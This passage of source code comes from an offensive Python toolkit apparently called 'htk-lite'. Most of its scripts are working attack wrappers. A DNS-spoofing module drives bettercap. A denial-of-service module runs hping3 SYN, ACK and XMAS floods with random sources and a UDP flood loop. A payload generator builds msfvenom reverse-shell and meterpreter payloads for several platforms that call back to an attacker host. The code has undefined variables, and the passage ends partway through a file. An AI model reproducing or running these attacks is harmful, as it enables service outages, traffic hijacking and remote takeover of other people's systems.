9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def dnsspoof(): 41 | target = raw_input("\033[1mTarget:\033[0m ") 42 | domain1 = raw_input("\033[1mDomain1:\033[0m ") 43 | domain2 = raw_input("\033[1mDomain2:\033[0m ") 44 | os.system('echo "net.sniff on\n" >> dns.cap') 45 | os.system('echo "set dns.spoof.domains {0},{1}\n" >> dns.cap'.format(domain1,domain2)) 46 | os.system('echo "set dns.spoof.address {0}\n" >> dns.cap'.format(target)) 47 | os.system('echo "dns.spoof on\n" >> dns.cap') 48 | print '\n\033[93mto stop type "exit"\033[0m' 49 | os.system("sleep 2") 50 | os.system("bettercap -no-history -caplet dns.cap") 51 | os.system("rm dns.cap") 52 | 53 | dnsspoof() 54 | -------------------------------------------------------------------------------- /htk-lite/commandlist/dos.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | import socket 26 | import socks 27 | import requests 28 | lred = '\033[91m' 29 | lblue = '\033[94m' 30 | lgreen = '\033[92m' 31 | yellow = '\033[93m' 32 | cyan = '\033[1;36m' 33 | purple = '\033[95m' 34 | red = '\033[31m' 35 | green = '\033[32m' 36 | blue = '\033[34m' 37 | orange = '\033[33m' 38 | 39 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 40 | randomcolor = random.choice(colorlist) 41 | banner3list = [red, blue, green, purple] 42 | 43 | def dos(): 44 | print """ 45 | {0}tcp: * tcp target port 46 | {1}udp: * udp target port 47 | {2}syn: * syn target port 48 | {3}ack: * ack target port 49 | {4}xmas: * xmas target port 50 | \033[0m 51 | !Press CTRL C to stop attacking! 52 | """.format(random.choice(colorlist), random.choice(colorlist), random.choice(colorlist), random.choice(colorlist), random.choice(colorlist)) 53 | try: 54 | command, target, port = raw_input("Method: ").split() 55 | if command == "tcp": 56 | os.system("service tor restart") 57 | os.system("hping3 --flood -d 50000 --rand-source -p {0} {1}".format(port,target)) 58 | if command == "udp": 59 | try: 60 | ip = socket.gethostbyname(target) 61 | port = int(port) 62 | os.system("service tor restart") 63 | sent = 0 64 | while True: 65 | print N+"UDP attack sending | {6}{5}\033[0m | {0}.{1} | {2}-{3}-{4}".format(hour, minute, day, month, year,ip,random.choice(colorlist)) 66 | sock.sendto(Gb, (ip,port)) 67 | sock.sendto(bytes, (ip,port)) 68 | sock.sendto(Kb, (ip,port)) 69 | sent = sent + 1 70 | port = port + 1 71 | if port == 65534: 72 | port = 1 73 | except: 74 | print "\nUDP flood stopped\n" 75 | os.system("") 76 | if command == "syn": 77 | os.system("service tor restart") 78 | os.system("hping3 -S --flood -d 50000 --rand-source -p {0} {1}".format(port,target)) 79 | if command == "ack": 80 | os.system("service tor restart") 81 | os.system("hping3 -A --flood -d 50000 --rand-source -p {0} {1}".format(port,target)) 82 | if command == "xmas": 83 | os.system("hping3 -X --flood -d 50000 --rand-source -p {0} {1}".format(port,target)) 84 | except: 85 | print "\n\033[91mError: Not Enough Arguments\033[0m\n " 86 | 87 | dos() 88 | -------------------------------------------------------------------------------- /htk-lite/commandlist/exit.py: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.exit() 3 | -------------------------------------------------------------------------------- /htk-lite/commandlist/help.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | def helpbanner(): 40 | a = os.popen("ls commandlist -1 | wc -l").read() 41 | b = a.replace('\n', '') 42 | print """ 43 | ╔══════════════════════════════════════════════════════════╗ 44 | ║ ║ 45 | ║ \033[92m ██░ ██ ▓█████ ██▓ ██▓███ \033[0m ║ 46 | ║ \033[90m ▓██░ ██▒▓█ ▀ ▓██▒ ▓██░ ██▒ \033[0m ║ 47 | ║ \033[92m ▒██▀▀██░▒███ ▒██░ ▓██░ ██▓▒ \033[0m ║ 48 | ║ \033[90m ░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██▄█▓▒ ▒ \033[0m ║ 49 | ║ \033[92m ░▓█▒░██▓░▒████▒░██████▒▒██▒ ░ ░ \033[0m ║ 50 | ║ \033[94m ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░▒▓▒░ ░ ░ \033[0m ║ 51 | ║ \033[90m ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░▒ ░ \033[0m ║ 52 | ║ \033[94m ░ ░░ ░ ░ ░ ░ ░░ \033[0m ║ 53 | ║ \033[90m ░ ░ ░ ░ ░ ░ ░ \033[0m ║ 54 | ║ ║ 55 | ║══════════════════════════════════════════════════════════║ 56 | ║ Commands: [\033[32m{0}\033[0m] Banners: [\033[31m6\033[0m] ║ 57 | ║══════════════════════════════════════════════════════════════════════════════════════╗ 58 | ║ ? | this menu ║ 59 | ║ exit | exit htkl ║ 60 | ║ clear | clears screen ║ 61 | ║ banner | shows a banner ║ 62 | ║ infoscan | gather information on a host [for a more specific scan type infoscan -o] ║ 63 | ║ dos | run Denial-Of-Service attacks ║ 64 | ║ ║ 65 | ║ ║ 66 | ║ \033[5m@tuf_unkn0wn\033[0m ║ 67 | ╚══════════════════════════════════════════════════════════════════════════════════════╝ 68 | \033[0m\n""".format(b) 69 | helpbanner() 70 | -------------------------------------------------------------------------------- /htk-lite/commandlist/monitor-off.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def monitoroff(): 41 | os.system("iwconfig") 42 | i = raw_input("Select Interface: ") 43 | os.system("airmon-ng stop " + i) 44 | monitoroff() 45 | -------------------------------------------------------------------------------- /htk-lite/commandlist/monitor-on.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def monitoron(): 41 | os.system("iwconfig") 42 | i = raw_input("Select Interface: ") 43 | os.system("airmon-ng start " + i) 44 | monitoron() 45 | -------------------------------------------------------------------------------- /htk-lite/commandlist/netscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | import socket 26 | import socks 27 | import requests 28 | lred = '\033[91m' 29 | lblue = '\033[94m' 30 | lgreen = '\033[92m' 31 | yellow = '\033[93m' 32 | cyan = '\033[1;36m' 33 | purple = '\033[95m' 34 | red = '\033[31m' 35 | green = '\033[32m' 36 | blue = '\033[34m' 37 | orange = '\033[33m' 38 | 39 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 40 | randomcolor = random.choice(colorlist) 41 | banner3list = [red, blue, green, purple] 42 | 43 | def netscan(): 44 | print """ 45 | {0}1: scan for devices in your network 46 | 47 | {1}2: scan for networks around you 48 | \033[0m 49 | go back: go back to main menu 50 | """.format(random.choice(colorlist), random.choice(colorlist)) 51 | try: 52 | choice = raw_input("\033[1mScan:\033[0m ") 53 | 54 | if choice == "1": 55 | os.system("netdiscover") 56 | if choice == "2": 57 | os.system("iwconfig") 58 | m = raw_input("\033[1mSelect Interface:\033[0m ") 59 | os.system("airmon-ng start " + m) 60 | print Y+"WOULD YOU LIKE TO SAVE YOUR SCAN RESULTS?\033[0m" 61 | j = raw_input("\033[1m[y/n]>\033[0m ") 62 | if j == "y": 63 | os.system("airodump-ng -w /root/SCAN " + m) 64 | print Y+"! SCAN RESULTS SAVED IN /root/ DIRECTORY !\033[0m" 65 | if j == "n": 66 | os.system("airodump-ng " + m) 67 | os.system("airmon-ng stop " + i) 68 | if choice == "go back": 69 | os.system("") 70 | except: 71 | print "\n" 72 | netscan() 73 | -------------------------------------------------------------------------------- /htk-lite/commandlist/payload.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def payload(): 41 | print """\033[0m033[1m 42 | Payloads Available:\033[0m 43 | 44 | {0}1: windows/meterpreter/reverse_tcp 45 | 46 | {1}2: android/meterpreter/reverse_tcp 47 | 48 | {2}3: php/meterpreter/reverse_tcp 49 | 50 | {3}4: python/meterpreter/reverse_tcp 51 | 52 | {4}5: ruby/shell_reverse_tcp 53 | 54 | {5}6: osx/x86/vforkshell/reverse_tcp 55 | 56 | {6}7: linux/aarch64/meterpreter/reverse_tcp 57 | 58 | \033[0m""".format(random.choice(colorlist), random.choice(colorlist), random.choice(colorlist), random.choice(colorlist), random.choice(colorlist), random.choice(colorlist), random.choice(colorlist)) 59 | choice = raw_input("Payload: ") 60 | lhost = raw_input("LHOST: ") 61 | lport = raw_input("LPORT: ") 62 | name = raw_input("Filename: ") 63 | if choice == "1": 64 | payload = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.exe'.format(lhost, lport, name) 65 | os.system(payload) 66 | if choice == "2": 67 | payload = 'msfvenom -p android/meterpreter/reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.apk'.format(lhost, lport, name) 68 | os.system(payload) 69 | if choice == "3": 70 | payload = 'msfvenom -p php/meterpreter/reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.php'.format(lhost, lport, name) 71 | os.system(payload) 72 | if choice == "4": 73 | payload = 'msfvenom -p python/meterpreter/reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.py'.format(lhost, lport, name) 74 | os.system(payload) 75 | if choice == "5": 76 | payload = 'msfvenom -p ruby/shell_reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.rb'.format(lhost, lport, name) 77 | os.system(payload) 78 | if choice == "6": 79 | payload = 'msfvenom -p osx/x86/vforkshell/reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.app'.format(lhost, lport, name) 80 | os.system(payload) 81 | if choice == "7": 82 | payload = 'msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST={0} LPORT={1} -o /root/{2}.tar'.format(lhost, lport, name) 83 | os.system(payload) 84 | payload() 85 | -------------------------------------------------------------------------------- /htk-lite/commandlist/reboot.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def reboot(): 41 | python = sys.executable 42 | os.execl(python, python, * sys.argv) 43 | curdir = os.getcwd() 44 | reboot() 45 | -------------------------------------------------------------------------------- /htk-lite/commandlist/sysinfo.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def sysinfo(): 41 | os.system("iwconfig") 42 | k = raw_input("\033[1mInterface:\033[0m ") 43 | os.system("clear") 44 | os.system("ifconfig") 45 | print "\n" 46 | os.system("iwconfig") 47 | print "\n" 48 | os.system("neofetch") 49 | print "\n" 50 | gw = os.popen("ip -4 route show default").read().split() 51 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 52 | s.connect((gw[2], 0)) 53 | ipaddr = s.getsockname()[0] 54 | gateway = gw[2] 55 | host = socket.gethostname() 56 | print (" IP: ", ipaddr, " Gateway: ", gateway, " Host: ", host) 57 | print "\n Router IP" 58 | print "----------------------------\033[92m" 59 | os.system('curl "http://myexternalip.com/raw"') 60 | print "\n\033[0m----------------------------" 61 | print "\n" 62 | show = 'macchanger -s {0}'.format(k) 63 | os.system(show) 64 | os.system("uname -a") 65 | os.system("whoami") 66 | sysinfo() 67 | -------------------------------------------------------------------------------- /htk-lite/commandlist/terminal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def terminal(): 41 | os.system("gnome-terminal") 42 | 43 | terminal() 44 | -------------------------------------------------------------------------------- /htk-lite/commandlist/traff.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def traff(): 41 | os.system("iwconfig") 42 | s = raw_input("\033[1mSelect Interface:\033[0m ") 43 | 